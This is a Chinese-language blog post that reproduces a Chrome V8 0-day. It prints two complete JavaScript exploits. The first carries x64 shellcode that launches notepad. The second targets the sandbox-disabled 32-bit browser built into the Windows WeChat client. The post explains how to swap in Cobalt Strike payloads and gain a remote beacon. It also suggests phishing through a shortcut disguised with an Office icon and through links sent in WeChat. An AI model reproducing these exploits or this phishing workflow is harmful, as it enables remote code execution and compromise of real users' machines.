目录

Chrome 0Day 复现与思考

Chrome 0Day 复现与思考

1 漏洞复现

HW 期间爆出了 Chrome 0Day,复现一手。

https://github.com/avboy1337/1195777-chrome0day

弹记事本的 POC:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
<script>
   function gc() {
       for (var i = 0; i < 0x80000; ++i) {
           var a = new ArrayBuffer();
      }
  }
   let shellcode = [0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51,
       0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52, 0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52,
       0x20, 0x48, 0x8B, 0x72, 0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
       0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0xE2, 0xED,
       0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B, 0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88,
       0x00, 0x00, 0x00, 0x48, 0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
       0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41, 0x8B, 0x34, 0x88, 0x48,
       0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0, 0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1,
       0x38, 0xE0, 0x75, 0xF1, 0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
       0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44, 0x8B, 0x40, 0x1C, 0x49,
       0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01, 0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A,
       0x41, 0x58, 0x41, 0x59, 0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
       0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48, 0xBA, 0x01, 0x00, 0x00,
       0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D, 0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B,
       0x6F, 0x87, 0xFF, 0xD5, 0xBB, 0xF0, 0xB5, 0xA2, 0x56, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
       0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0, 0x75, 0x05, 0xBB, 0x47,
       0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89, 0xDA, 0xFF, 0xD5, 0x6E, 0x6F, 0x74, 0x65, 0x70,
       0x61, 0x64, 0x2E, 0x65, 0x78, 0x65, 0x00];
   var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 42, 11]);
   var wasmModule = new WebAssembly.Module(wasmCode);
   var wasmInstance = new WebAssembly.Instance(wasmModule);
   var main = wasmInstance.exports.main;
   var bf = new ArrayBuffer(8);
   var bfView = new DataView(bf);
   function fLow(f) {
       bfView.setFloat64(0, f, true);
       return (bfView.getUint32(0, true));
  }
   function fHi(f) {
       bfView.setFloat64(0, f, true);
       return (bfView.getUint32(4, true))
  }
   function i2f(low, hi) {
       bfView.setUint32(0, low, true);
       bfView.setUint32(4, hi, true);
       return bfView.getFloat64(0, true);
  }
   function f2big(f) {
       bfView.setFloat64(0, f, true);
       return bfView.getBigUint64(0, true);
  }
   function big2f(b) {
       bfView.setBigUint64(0, b, true);
       return bfView.getFloat64(0, true);
  }
   class LeakArrayBuffer extends ArrayBuffer {
       constructor(size) {
           super(size);
           this.slot = 0xb33f;
      }
  }
   function foo(a) {
       let x = -1;
       if (a) x = 0xFFFFFFFF;
       var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));
       arr.shift();
       let local_arr = Array(2);
       local_arr[0] = 5.1;//4014666666666666
       let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
       arr[0] = 0x1122;
       return [arr, local_arr, buff];
  }
   for (var i = 0; i < 0x10000; ++i)
       foo(false);
   gc(); gc();
  [corrput_arr, rwarr, corrupt_buff] = foo(true);
   corrput_arr[12] = 0x22444;
   delete corrput_arr;
   function setbackingStore(hi, low) {
       rwarr[4] = i2f(fLow(rwarr[4]), hi);
       rwarr[5] = i2f(low, fHi(rwarr[5]));
  }
   function leakObjLow(o) {
       corrupt_buff.slot = o;
       return (fLow(rwarr[9]) - 1);
  }
   let corrupt_view = new DataView(corrupt_buff);
   let corrupt_buffer_ptr_low = leakObjLow(corrupt_buff);
   let idx0Addr = corrupt_buffer_ptr_low - 0x10;
   let baseAddr = (corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
   let delta = baseAddr + 0x1c - idx0Addr;
   if ((delta % 8) == 0) {
       let baseIdx = delta / 8;
       this.base = fLow(rwarr[baseIdx]);
  } else {
       let baseIdx = ((delta - (delta % 8)) / 8);
       this.base = fHi(rwarr[baseIdx]);
  }
   let wasmInsAddr = leakObjLow(wasmInstance);
   setbackingStore(wasmInsAddr, this.base);
   let code_entry = corrupt_view.getFloat64(13 * 8, true);
   setbackingStore(fLow(code_entry), fHi(code_entry));
   for (let i = 0; i < shellcode.length; i++) {
       corrupt_view.setUint8(i, shellcode[i]);
  }
   main();
</script>

前提需要关闭 Chrome 的沙盒模式:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210415110756.png-water_print

执行 POC.html:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210415110926.png-water_print

快捷方式钓鱼,换个 Office 的图标就可以:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210415111158.png-water_print

CS 上线:

生成 64 位的 payload,并将格式转换为:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210415113232.png-water_print

执行 POC,成功上线:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210415113309.png-water_print

2 思考

windows 微信客户端下内置的 Chrome 浏览器默认关闭沙箱模式,但是是 32 位的,如果有针对 32 位的 payload,就可以利用 win 下的客户端进行钓鱼。

3 后续补充

windows 微信客户端 payload:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
ENABLE_LOG = true;
IN_WORKER = true;

// input your shellcode
var shellcode = [0x00,0x00];

function print(data) {
}


var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}

function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}

function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;

    this.page_buffer = null;
    this.page_view = null;

    this.prevent_opt = [];

    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;

    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }

    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);

    new RegExp({ toString: function () { return 'a' } });
    cb(true);

    class DerivedBase extends RegExp {
        constructor() {
            // var array = null;
            super(
                // at this point, the 4-byte allocation for the JSRegExp `this` object
                // has just happened.
                {
                    toString: cb
                }, 'g'
                // now the runtime JSRegExp constructor is called, corrupting the
                // JSArray.
            );

            // this allocation will now directly follow the FixedArray allocation
            // made for `this.data`, which is where `array.elements` points to.
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }

    // try{
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }

        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }

        return DerivedN;
    })`);

    gc();


    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }

    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }

    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }

    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }

    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }

    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}

function trigger() {
    var oob = oobAccess();

    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));

    var kCodeInsOffset = 0x1b;

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));

    oob.setBytes(code_addr, shellcode);

    target_function(0);
}

try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}

用 cs 生成 32 位的 payload,添加到上面脚本的 shellcode 变量中

点击链接:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210418185655.png-water_print

执行:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210418185714.png-water_print

上线:

https://geekby.oss-cn-beijing.aliyuncs.com/MarkDown/20210418185725.png-water_print